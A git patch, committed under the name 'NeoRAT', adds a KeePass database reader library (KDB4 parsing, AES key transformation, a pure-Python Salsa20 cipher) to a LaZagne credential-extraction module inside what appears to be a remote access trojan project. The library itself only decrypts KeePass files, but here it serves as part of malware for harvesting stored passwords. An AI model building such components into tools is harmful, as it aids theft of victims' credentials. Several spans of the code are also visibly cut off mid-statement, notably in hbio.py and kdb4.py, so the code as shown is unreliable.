From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../softwares/memory/libkeepass/__init__.py | 68 ++++ .../lazagne/softwares/memory/libkeepass/common.py | 288 ++++++++++++++ .../lazagne/softwares/memory/libkeepass/crypto.py | 53 +++ .../lazagne/softwares/memory/libkeepass/hbio.py | 114 ++++++ .../lazagne/softwares/memory/libkeepass/kdb4.py | 419 +++++++++++++++++++++ .../softwares/memory/libkeepass/pureSalsa20.py | 353 +++++++++++++++++ 6 files changed, 1295 insertions(+) create mode 100644 foreign/client_handling/lazagne/softwares/memory/libkeepass/__init__.py create mode 100644 foreign/client_handling/lazagne/softwares/memory/libkeepass/common.py create mode 100644 foreign/client_handling/lazagne/softwares/memory/libkeepass/crypto.py create mode 100644 foreign/client_handling/lazagne/softwares/memory/libkeepass/hbio.py create mode 100644 foreign/client_handling/lazagne/softwares/memory/libkeepass/kdb4.py create mode 100644 foreign/client_handling/lazagne/softwares/memory/libkeepass/pureSalsa20.py (limited to 'foreign/client_handling/lazagne/softwares/memory/libkeepass') diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/__init__.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/__init__.py new file mode 100644 index 0000000..6a6eec1 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/__init__.py @@ -0,0 +1,68 @@ +# -*- coding: utf-8 -*- +import io +from contextlib import contextmanager + +from .common import read_signature +# from kdb3 import KDB3Reader, KDB3_SIGNATURE +from .kdb4 import KDB4Reader, KDB4_SIGNATURE + +BASE_SIGNATURE = 0x9AA2D903 + +_kdb_readers = { + # KDB3_SIGNATURE[1]: KDB3Reader, + #0xB54BFB66: KDB4Reader, # pre2.x may work, untested + KDB4_SIGNATURE[1]: KDB4Reader, + } + +@contextmanager +def open(filename, **credentials): + """ + A contextmanager to open the KeePass file with `filename`. Use a `password` + and/or `keyfile` named argument for decryption. + + Files are identified using their signature and a reader suitable for + the file format is intialized and returned. + + Note: `keyfile` is currently not supported for v3 KeePass files. + """ + kdb = None + try: + with io.open(filename, 'rb') as stream: + signature = read_signature(stream) + cls = get_kdb_reader(signature) + kdb = cls(stream, **credentials) + yield kdb + kdb.close() + except Exception: + if kdb: kdb.close() + raise + +def add_kdb_reader(sub_signature, cls): + """ + Add or overwrite the class used to process a KeePass file. + + KeePass uses two signatures to identify files. The base signature is + always `0x9AA2D903`. The second/sub signature varies. For example + KeePassX uses the v3 sub signature `0xB54BFB65` and KeePass2 the v4 sub + signature `0xB54BFB67`. + + Use this method to add or replace a class by givin a `sub_signature` as + integer and a class, which should be a subclass of + `keepass.common.KDBFile`. + """ + _kdb_readers[sub_signature] = cls + +def get_kdb_reader(signature): + """ + Retrieve the class used to process a KeePass file by `signature`, which + is a a tuple or list with two elements. The first being the base signature + and the second the sub signature as integers. + """ + if signature[0] != BASE_SIGNATURE: + raise IOError('Unknown base signature.') + + if signature[1] not in _kdb_readers: + raise IOError('Unknown sub signature.') + + return _kdb_readers[signature[1]] + diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/common.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/common.py new file mode 100644 index 0000000..9a78a40 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/common.py @@ -0,0 +1,288 @@ +# -*- coding: utf-8 -*- +import base64 +import codecs +import io +import struct +from xml.etree import ElementTree + +from .crypto import sha256 + +try: + file_types = (file, io.IOBase) +except NameError: + file_types = (io.IOBase,) + + +# file header +class HeaderDictionary(dict): + """ + A dictionary on steroids for comfortable header field storage and + manipulation. + + Header fields must be defined in the `fields` property before filling the + dictionary with data. The `fields` property is a simple dictionary, where + keys are field names (string) and values are field ids (int):: + + >>> h.fields['rounds'] = 4 + + Now you can set and get values using the field id or the field name + interchangeably:: + + >>> h[4] = 3000 + >>> print h['rounds'] + 3000 + >>> h['rounds'] = 6000 + >>> print h[4] + 6000 + + It is also possible to get and set data using the field name as an + attribute:: + + >>> h.rounds = 9000 + >>> print h[4] + 9000 + >>> print h.rounds + 9000 + + For some fields it is more comfortable to unpack their byte value into + a numeric or character value (eg. the transformation rounds). For those + fields add a format string to the `fmt` dictionary. Use the field id as + key:: + + >>> h.fmt[4] = '>> h.b.rounds = '\x70\x17\x00\x00\x00\x00\x00\x00' + >>> print h.b.rounds + '\x70\x17\x00\x00\x00\x00\x00\x00' + >>> print h.rounds + 6000 + + The `b` (binary?) attribute is a special way to set and get data in its + packed format, while the usual attribute or dictionary access allows + setting and getting a numeric value:: + + >>> h.rounds = 3000 + >>> print h.b.rounds + '\xb8\x0b\x00\x00\x00\x00\x00\x00' + >>> print h.rounds + 3000 + + """ + fields = {} + fmt = {} + + def __init__(self, *args): + dict.__init__(self, *args) + + def __getitem__(self, key): + if isinstance(key, int): + return dict.__getitem__(self, key) + else: + return dict.__getitem__(self, self.fields[key]) + + def __setitem__(self, key, val): + if isinstance(key, int): + dict.__setitem__(self, key, val) + else: + dict.__setitem__(self, self.fields[key], val) + + def __getattr__(self, key): + class wrap(object): + def __init__(self, d): + object.__setattr__(self, 'd', d) + + def __getitem__(self, key): + fmt = self.d.fmt.get(self.d.fields.get(key, key)) + if fmt: + return struct.pack(fmt, self.d[key]) + else: + return self.d[key] + + __getattr__ = __getitem__ + + def __setitem__(self, key, val): + fmt = self.d.fmt.get(self.d.fields.get(key, key)) + if fmt: + self.d[key] = struct.unpack(fmt, val)[0] + else: + self.d[key] = val + + __setattr__ = __setitem__ + + if key == 'b': + return wrap(self) + try: + return self.__getitem__(key) + except KeyError: + raise AttributeError(key) + + def __setattr__(self, key, val): + try: + return self.__setitem__(key, val) + except KeyError: + return dict.__setattr__(self, key, val) + + +# file baseclass +class KDBFile(object): + def __init__(self, stream=None, **credentials): + # list of hashed credentials (pre-transformation) + self.keys = [] + self.add_credentials(**credentials) + + # the buffer containing the decrypted/decompressed payload from a file + self.in_buffer = None + # the buffer filled with data for writing back to a file before + # encryption/compression + self.out_buffer = None + # position in the `in_buffer` where the payload begins + self.header_length = None + # decryption success flag, set this to true upon verification of the + # encryption masterkey. if this is True `in_buffer` must contain + # clear data. + self.opened = False + + # the raw/basic file handle, expect it to be closed after __init__! + if stream is not None: + if not isinstance(stream, io.IOBase): + raise TypeError('Stream does not have the buffer interface.') + self.read_from(stream) + + def read_from(self, stream): + if not (isinstance(stream, io.IOBase) or isinstance(stream, file_types)): + raise TypeError('Stream does not have the buffer interface.') + self._read_header(stream) + self._decrypt(stream) + + def _read_header(self, stream): + raise NotImplementedError('The _read_header method was not ' + 'implemented propertly.') + + def _decrypt(self, stream): + self._make_master_key() + # move read pointer beyond the file header + if self.header_length is None: + raise IOError('Header length unknown. Parse the header first!') + stream.seek(self.header_length) + + def write_to(self, stream): + raise NotImplementedError('The write_to() method was not implemented.') + + def add_credentials(self, **credentials): + if credentials.get('password'): + self.add_key_hash(sha256(credentials['password'])) + if credentials.get('keyfile'): + self.add_key_hash(load_keyfile(credentials['keyfile'])) + + def clear_credentials(self): + """Remove all previously set encryption key hashes.""" + self.keys = [] + + def add_key_hash(self, key_hash): + """ + Add an encryption key hash, can be a hashed password or a hashed + keyfile. Two things are important: must be SHA256 hashes and sequence is + important: first password if any, second key file if any. + """ + if key_hash is not None: + self.keys.append(key_hash) + + def _make_master_key(self): + if len(self.keys) == 0: + raise IndexError('No credentials found.') + + def close(self): + if self.in_buffer: + self.in_buffer.close() + + def read(self, n=-1): + """ + Read the decrypted and uncompressed data after the file header. + For example, in KDB4 this would be plain, utf-8 xml. + + Note that this is the source data for the lxml.objectify element tree + at `self.obj_root`. Any changes made to the parsed element tree will + NOT be reflected in that data stream! Use `self.pretty_print` to get + XML output from the element tree. + """ + if self.in_buffer: + return self.in_buffer.read(n) + + def seek(self, offset, whence=io.SEEK_SET): + if self.in_buffer: + return self.in_buffer.seek(offset, whence) + + def tell(self): + if self.in_buffer: + return self.in_buffer.tell() + + +# loading keyfiles +def load_keyfile(filename): + try: + return load_xml_keyfile(filename) + except Exception: + pass + try: + return load_plain_keyfile(filename) + except Exception: + pass + + +def load_xml_keyfile(filename): + """ + // Sample XML file: + // + // + // + // 1.00 + // + // + // ySFoKuCcJblw8ie6RkMBdVCnAf4EedSch7ItujK6bmI= + // + // + """ + with open(filename, 'r') as f: + # ignore meta, currently there is only version "1.00" + tree = ElementTree.parse(f).getroot() + # read text from key, data and convert from base64 + return base64.b64decode(tree.find('Key/Data').text) + # raise IOError('Could not parse XML keyfile.') + + +def load_plain_keyfile(filename): + """ + A "plain" keyfile is a file containing only the key. + Any other file (JPEG, MP3, ...) can also be used as keyfile. + """ + with open(filename, 'rb') as f: + key = f.read() + # if the length is 32 bytes we assume it is the key + if len(key) == 32: + return key + # if the length is 64 bytes we assume the key is hex encoded + if len(key) == 64: + return codecs.decode(key, 'hex') + # anything else may be a file to hash for the key + return sha256(key) + # raise IOError('Could not read keyfile.') + + +def stream_unpack(stream, offset, length, typecode='I'): + if offset is not None: + stream.seek(offset) + data = stream.read(length) + return struct.unpack('<' + typecode, data)[0] + + +def read_signature(stream): + sig1 = stream_unpack(stream, 0, 4) + sig2 = stream_unpack(stream, None, 4) + # ver_minor = stream_unpack(stream, None, 2, 'h') + # ver_major = stream_unpack(stream, None, 2, 'h') + # return (sig1, sig2, ver_major, ver_minor) + return sig1, sig2 diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/crypto.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/crypto.py new file mode 100644 index 0000000..3e7ad67 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/crypto.py @@ -0,0 +1,53 @@ +# -*- coding: utf-8 -*- +import hashlib +import struct + +from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationECB, AESModeOfOperationCBC +from foreign.client_handling.lazagne.config.winstructure import char_to_int + +AES_BLOCK_SIZE = 16 + + +def sha256(s): + """Return SHA256 digest of the string `s`.""" + return hashlib.sha256(s).digest() + + +def transform_key(key, seed, rounds): + """Transform `key` with `seed` `rounds` times using AES ECB.""" + # create transform cipher with transform seed + cipher = AESModeOfOperationECB(seed) + # transform composite key rounds times + for n in range(0, rounds): + key = b"".join([cipher.encrypt(key[i:i + AES_BLOCK_SIZE]) for i in range(0, len(key), AES_BLOCK_SIZE)]) + # return hash of transformed key + return sha256(key) + + +def aes_cbc_decrypt(data, key, enc_iv): + """Decrypt and return `data` with AES CBC.""" + cipher = AESModeOfOperationCBC(key, iv=enc_iv) + return b"".join([cipher.decrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)]) + + +def aes_cbc_encrypt(data, key, enc_iv): + cipher = AESModeOfOperationCBC(key, iv=enc_iv) + return b"".join([cipher.encrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)]) + + +def unpad(data): + extra = char_to_int(data[-1]) + return data[:len(data) - extra] + + +def pad(s): + n = AES_BLOCK_SIZE - len(s) % AES_BLOCK_SIZE + return s + n * struct.pack('b', n) + + +def xor(aa, bb): + """Return a bytearray of a bytewise XOR of `aa` and `bb`.""" + result = bytearray() + for a, b in zip(bytearray(aa), bytearray(bb)): + result.append(a ^ b) + return result diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/hbio.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/hbio.py new file mode 100644 index 0000000..ade6e96 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/hbio.py @@ -0,0 +1,114 @@ +# -*- coding: utf-8 -*- +import hashlib +import io +import struct + +# default from KeePass2 source +BLOCK_LENGTH = 1024 * 1024 + +try: + file_types = (file, io.IOBase) +except NameError: + file_types = (io.IOBase,) + +# HEADER_LENGTH = 4+32+4 + +def read_int(stream, length): + try: + return struct.unpack(' 0: + data = block_stream.read(length) + if hashlib.sha256(data).digest() == bhash: + return data + else: + raise IOError('Block hash mismatch error.') + return bytes() + + def write_block_stream(self, stream, block_length=BLOCK_LENGTH): + """ + Write all data in this buffer, starting at stream position 0, formatted + in hashed blocks to the given `stream`. + + For example, writing data from one file into another as hashed blocks:: + + # create new hashed block io without input stream or data + hb = HashedBlockIO() + # read from a file, write into the empty hb + with open('sample.dat', 'rb') as infile: + hb.write(infile.read()) + # write from the hb into a new file + with open('hb_sample.dat', 'w') as outfile: + hb.write_block_stream(outfile) + """ + if not (isinstance(stream, io.IOBase) or isinstance(stream, file_types)): + raise TypeError('Stream does not have the buffer interface.') + index = 0 + self.seek(0) + while True: + data = self.read(block_length) + if data: + stream.write(struct.pack('10 is undefined + if field_id not in self.header.fields.values(): + raise IOError('Unknown header field found.') + + # two byte (short) length of field data + length = stream_unpack(stream, None, 2, 'h') + if length > 0: + data = stream_unpack(stream, None, length, '{}s'.format(length)) + self.header.b[field_id] = data + + # set position in data stream of end of header + if field_id == 0: + self.header_length = stream.tell() + break + + # def _write_header(self, stream): + # """Serialize the header fields from self.header into a byte stream, prefix + # with file signature and version before writing header and out-buffer + # to `stream`. + + # Note, that `stream` is flushed, but not closed!""" + # # serialize header to stream + # header = bytearray() + # # write file signature + # header.extend(struct.pack(' len(self._salsa_buffer): + new_salsa = self.salsa.encrypt_bytes(str(bytearray(64))) + self._salsa_buffer.extend(new_salsa) + nacho = self._salsa_buffer[:length] + del self._salsa_buffer[:length] + return nacho + + def _unprotect(self, string): + """ + Base64 decode and XOR the given `string` with the next salsa. + Returns an unprotected string. + """ + tmp = base64.b64decode(string) + return str(xor(tmp, self._get_salsa(len(tmp)))) + + def _protect(self, string): + """ + XORs the given `string` with the next salsa and base64 encodes it. + Returns a protected string. + """ + tmp = str(xor(string, self._get_salsa(len(string)))) + return base64.b64encode(tmp) + + +class KDB4Reader(KDB4File, KDBXmlExtension): + """ + Usually you would want to use the `keepass.open` context manager to open a + file. It checks the file signature and creates a suitable reader-instance. + + doing it by hand is also possible:: + + kdb = keepass.KDB4Reader() + kdb.add_credentials(password='secret') + with open('passwords.kdb', 'rb') as fh: + kdb.read_from(fh) + + or...:: + + with open('passwords.kdb', 'rb') as fh: + kdb = keepass.KDB4Reader(fh, password='secret') + + """ + + def __init__(self, stream=None, **credentials): + KDB4File.__init__(self, stream, **credentials) + + def read_from(self, stream, unprotect=True): + KDB4File.read_from(self, stream) + # the extension requires parsed header and decrypted self.in_buffer, so + # initialize only here + KDBXmlExtension.__init__(self, unprotect) + + # def write_to(self, stream, use_etree=True): + # """ + # Write the KeePass database back to a KeePass2 compatible file. + + # :arg stream: A file-like object or IO buffer. + # :arg use_tree: Serialize the element tree to XML to save (default: + # True), Set to False to write the data currently in the in-buffer + # instead. + # """ + # if use_etree: + # KDBXmlExtension.write_to(self, stream) + # KDB4File.write_to(self, stream) diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/pureSalsa20.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/pureSalsa20.py new file mode 100644 index 0000000..ae0641a --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/pureSalsa20.py @@ -0,0 +1,353 @@ +#!/usr/bin/env python +# coding: utf-8 + +""" + pureSalsa20.py -- a pure Python implementation of the Salsa20 cipher + ==================================================================== + There are comments here by two authors about three pieces of software: + comments by Larry Bugbee about + Salsa20, the stream cipher by Daniel J. Bernstein + (including comments about the speed of the C version) and + pySalsa20, Bugbee's own Python wrapper for salsa20.c + (including some references), and + comments by Steve Witham about + pureSalsa20, Witham's pure Python 2.5 implementation of Salsa20, + which follows pySalsa20's API, and is in this file. + + Salsa20: a Fast Streaming Cipher (comments by Larry Bugbee) + ----------------------------------------------------------- + + Salsa20 is a fast stream cipher written by Daniel Bernstein + that basically uses a hash function and XOR making for fast + encryption. (Decryption uses the same function.) Salsa20 + is simple and quick. + + Some Salsa20 parameter values... + design strength 128 bits + key length 128 or 256 bits, exactly + IV, aka nonce 64 bits, always + chunk size must be in multiples of 64 bytes + + Salsa20 has two reduced versions, 8 and 12 rounds each. + + One benchmark (10 MB): + 1.5GHz PPC G4 102/97/89 MB/sec for 8/12/20 rounds + AMD Athlon 2500+ 77/67/53 MB/sec for 8/12/20 rounds + (no I/O and before Python GC kicks in) + + Salsa20 is a Phase 3 finalist in the EU eSTREAM competition + and appears to be one of the fastest ciphers. It is well + documented so I will not attempt any injustice here. Please + see "References" below. + + ...and Salsa20 is "free for any use". + + + pySalsa20: a Python wrapper for Salsa20 (Comments by Larry Bugbee) + ------------------------------------------------------------------ + + pySalsa20.py is a simple ctypes Python wrapper. Salsa20 is + as it's name implies, 20 rounds, but there are two reduced + versions, 8 and 12 rounds each. Because the APIs are + identical, pySalsa20 is capable of wrapping all three + versions (number of rounds hardcoded), including a special + version that allows you to set the number of rounds with a + set_rounds() function. Compile the version of your choice + as a shared library (not as a Python extension), name and + install it as libsalsa20.so. + + Sample usage: + from pySalsa20 import Salsa20 + s20 = Salsa20(key, IV) + dataout = s20.encryptBytes(datain) # same for decrypt + + This is EXPERIMENTAL software and intended for educational + purposes only. To make experimentation less cumbersome, + pySalsa20 is also free for any use. + + THIS PROGRAM IS PROVIDED WITHOUT WARRANTY OR GUARANTEE OF + ANY KIND. USE AT YOUR OWN RISK. + + Enjoy, + + Larry Bugbee + bugbee@seanet.com + April 2007 + + + References: + ----------- + http://en.wikipedia.org/wiki/Salsa20 + http://en.wikipedia.org/wiki/Daniel_Bernstein + http://cr.yp.to/djb.html + http://www.ecrypt.eu.org/stream/salsa20p3.html + http://www.ecrypt.eu.org/stream/p3ciphers/salsa20/salsa20_p3source.zip + + + Prerequisites for pySalsa20: + ---------------------------- + - Python 2.5 (haven't tested in 2.4) + + + pureSalsa20: Salsa20 in pure Python 2.5 (comments by Steve Witham) + ------------------------------------------------------------------ + + pureSalsa20 is the stand-alone Python code in this file. + It implements the underlying Salsa20 core algorithm + and emulates pySalsa20's Salsa20 class API (minus a bug(*)). + + pureSalsa20 is MUCH slower than libsalsa20.so wrapped with pySalsa20-- + about 1/1000 the speed for Salsa20/20 and 1/500 the speed for Salsa20/8, + when encrypting 64k-byte blocks on my computer. + + pureSalsa20 is for cases where portability is much more important than + speed. I wrote it for use in a "structured" random number generator. + + There are comments about the reasons for this slowness in + http://www.tiac.net/~sw/2010/02/PureSalsa20 + + Sample usage: + from pureSalsa20 import Salsa20 + s20 = Salsa20(key, IV) + dataout = s20.encryptBytes(datain) # same for decrypt + + I took the test code from pySalsa20, added a bunch of tests including + rough speed tests, and moved them into the file testSalsa20.py. + To test both pySalsa20 and pureSalsa20, type + python testSalsa20.py + + (*)The bug (?) in pySalsa20 is this. The rounds variable is global to the + libsalsa20.so library and not switched when switching between instances + of the Salsa20 class. + s1 = Salsa20( key, IV, 20 ) + s2 = Salsa20( key, IV, 8 ) + In this example, + with pySalsa20, both s1 and s2 will do 8 rounds of encryption. + with pureSalsa20, s1 will do 20 rounds and s2 will do 8 rounds. + Perhaps giving each instance its own nRounds variable, which + is passed to the salsa20wordtobyte() function, is insecure. I'm not a + cryptographer. + + pureSalsa20.py and testSalsa20.py are EXPERIMENTAL software and + intended for educational purposes only. To make experimentation less + cumbersome, pureSalsa20.py and testSalsa20.py are free for any use. + + Revisions: + ---------- + p3.2 Fixed bug that initialized the output buffer with plaintext! + Saner ramping of nreps in speed test. + Minor changes and print statements. + p3.1 Took timing variability out of add32() and rot32(). + Made the internals more like pySalsa20/libsalsa . + Put the semicolons back in the main loop! + In encryptBytes(), modify a byte array instead of appending. + Fixed speed calculation bug. + Used subclasses instead of patches in testSalsa20.py . + Added 64k-byte messages to speed test to be fair to pySalsa20. + p3 First version, intended to parallel pySalsa20 version 3. + + More references: + ---------------- + http://www.seanet.com/~bugbee/crypto/salsa20/ [pySalsa20] + http://cr.yp.to/snuffle.html [The original name of Salsa20] + http://cr.yp.to/snuffle/salsafamily-20071225.pdf [ Salsa20 design] + http://www.tiac.net/~sw/2010/02/PureSalsa20 + + THIS PROGRAM IS PROVIDED WITHOUT WARRANTY OR GUARANTEE OF + ANY KIND. USE AT YOUR OWN RISK. + + Cheers, + + Steve Witham sw at remove-this tiac dot net + February, 2010 +""" + +from array import array +from struct import Struct +from foreign.client_handling.lazagne.config.winstructure import char_to_int + +little_u64 = Struct("= 2**64" + ctx = self.ctx + ctx[8], ctx[9] = little2_i32.unpack(little_u64.pack(counter)) + + def get_counter(self): + return little_u64.unpack(little2_i32.pack(*self.ctx[8:10]))[0] + + def set_rounds(self, rounds, testing=False): + assert testing or rounds in [8, 12, 20], 'rounds must be 8, 12, 20' + self.rounds = rounds + + def encrypt_bytes(self, data): + assert type(data) == str, 'data must be byte string' + assert self._lastChunk64, 'previous chunk not multiple of 64 bytes' + lendata = len(data) + munged = array('c', '\x00' * lendata) + for i in xrange(0, lendata, 64): + h = salsa20_wordtobyte(self.ctx, self.rounds, check_rounds=False) + self.set_counter((self.get_counter() + 1) % 2 ** 64) + # Stopping at 2^70 bytes per nonce is user's responsibility. + for j in xrange(min(64, lendata - i)): + munged[i + j] = chr(char_to_int(data[i + j]) ^ char_to_int(h[j])) + + self._lastChunk64 = not lendata % 64 + return munged.tostring() + + decrypt_bytes = encrypt_bytes # encrypt and decrypt use same function + + +# -------------------------------------------------------------------------- + +def salsa20_wordtobyte(input, n_rounds=20, check_rounds=True): + """ Do nRounds Salsa20 rounds on a copy of + input: list or tuple of 16 ints treated as little-endian unsigneds. + Returns a 64-byte string. + """ + + assert (type(input) in (list, tuple) and len(input) == 16) + assert (not check_rounds or (n_rounds in [8, 12, 20])) + + x = list(input) + + def XOR(a, b): + return a ^ b + + ROTATE = rot32 + PLUS = add32 + + for i in range(n_rounds / 2): + # These ...XOR...ROTATE...PLUS... lines are from ecrypt-linux.c + # unchanged except for indents and the blank line between rounds: + x[4] = XOR(x[4], ROTATE(PLUS(x[0], x[12]), 7)) + x[8] = XOR(x[8], ROTATE(PLUS(x[4], x[0]), 9)) + x[12] = XOR(x[12], ROTATE(PLUS(x[8], x[4]), 13)) + x[0] = XOR(x[0], ROTATE(PLUS(x[12], x[8]), 18)) + x[9] = XOR(x[9], ROTATE(PLUS(x[5], x[1]), 7)) + x[13] = XOR(x[13], ROTATE(PLUS(x[9], x[5]), 9)) + x[1] = XOR(x[1], ROTATE(PLUS(x[13], x[9]), 13)) + x[5] = XOR(x[5], ROTATE(PLUS(x[1], x[13]), 18)) + x[14] = XOR(x[14], ROTATE(PLUS(x[10], x[6]), 7)) + x[2] = XOR(x[2], ROTATE(PLUS(x[14], x[10]), 9)) + x[6] = XOR(x[6], ROTATE(PLUS(x[2], x[14]), 13)) + x[10] = XOR(x[10], ROTATE(PLUS(x[6], x[2]), 18)) + x[3] = XOR(x[3], ROTATE(PLUS(x[15], x[11]), 7)) + x[7] = XOR(x[7], ROTATE(PLUS(x[3], x[15]), 9)) + x[11] = XOR(x[11], ROTATE(PLUS(x[7], x[3]), 13)) + x[15] = XOR(x[15], ROTATE(PLUS(x[11], x[7]), 18)) + + x[1] = XOR(x[1], ROTATE(PLUS(x[0], x[3]), 7)) + x[2] = XOR(x[2], ROTATE(PLUS(x[1], x[0]), 9)) + x[3] = XOR(x[3], ROTATE(PLUS(x[2], x[1]), 13)) + x[0] = XOR(x[0], ROTATE(PLUS(x[3], x[2]), 18)) + x[6] = XOR(x[6], ROTATE(PLUS(x[5], x[4]), 7)) + x[7] = XOR(x[7], ROTATE(PLUS(x[6], x[5]), 9)) + x[4] = XOR(x[4], ROTATE(PLUS(x[7], x[6]), 13)) + x[5] = XOR(x[5], ROTATE(PLUS(x[4], x[7]), 18)) + x[11] = XOR(x[11], ROTATE(PLUS(x[10], x[9]), 7)) + x[8] = XOR(x[8], ROTATE(PLUS(x[11], x[10]), 9)) + x[9] = XOR(x[9], ROTATE(PLUS(x[8], x[11]), 13)) + x[10] = XOR(x[10], ROTATE(PLUS(x[9], x[8]), 18)) + x[12] = XOR(x[12], ROTATE(PLUS(x[15], x[14]), 7)) + x[13] = XOR(x[13], ROTATE(PLUS(x[12], x[15]), 9)) + x[14] = XOR(x[14], ROTATE(PLUS(x[13], x[12]), 13)) + x[15] = XOR(x[15], ROTATE(PLUS(x[14], x[13]), 18)) + + for i in range(len(input)): + x[i] = PLUS(x[i], input[i]) + return little16_i32.pack(*x) + + +# --------------------------- 32-bit ops ------------------------------- + +def trunc32(w): + """ Return the bottom 32 bits of w as a Python int. + This creates longs temporarily, but returns an int. """ + w = int((w & 0x7fffFFFF) | -(w & 0x80000000)) + assert type(w) == int + return w + + +def add32(a, b): + """ Add two 32-bit words discarding carry above 32nd bit, + and without creating a Python long. + Timing shouldn't vary. + """ + lo = (a & 0xFFFF) + (b & 0xFFFF) + hi = (a >> 16) + (b >> 16) + (lo >> 16) + return (-(hi & 0x8000) | (hi & 0x7FFF)) << 16 | (lo & 0xFFFF) + + +def rot32(w, n_left): + """ Rotate 32-bit word left by nLeft or right by -nLeft + without creating a Python long. + Timing depends on nLeft but not on w. + """ + n_left &= 31 # which makes nLeft >= 0 + if n_left == 0: + return w + + # Note: now 1 <= nLeft <= 31. + # RRRsLLLLLL There are nLeft RRR's, (31-nLeft) LLLLLL's, + # => sLLLLLLRRR and one s which becomes the sign bit. + RRR = (((w >> 1) & 0x7fffFFFF) >> (31 - n_left)) + sLLLLLL = -((1 << (31 - n_left)) & w) | (0x7fffFFFF >> n_left) & w + return RRR | (sLLLLLL << n_left) + +# --------------------------------- end ----------------------------------- -- cgit v1.2.3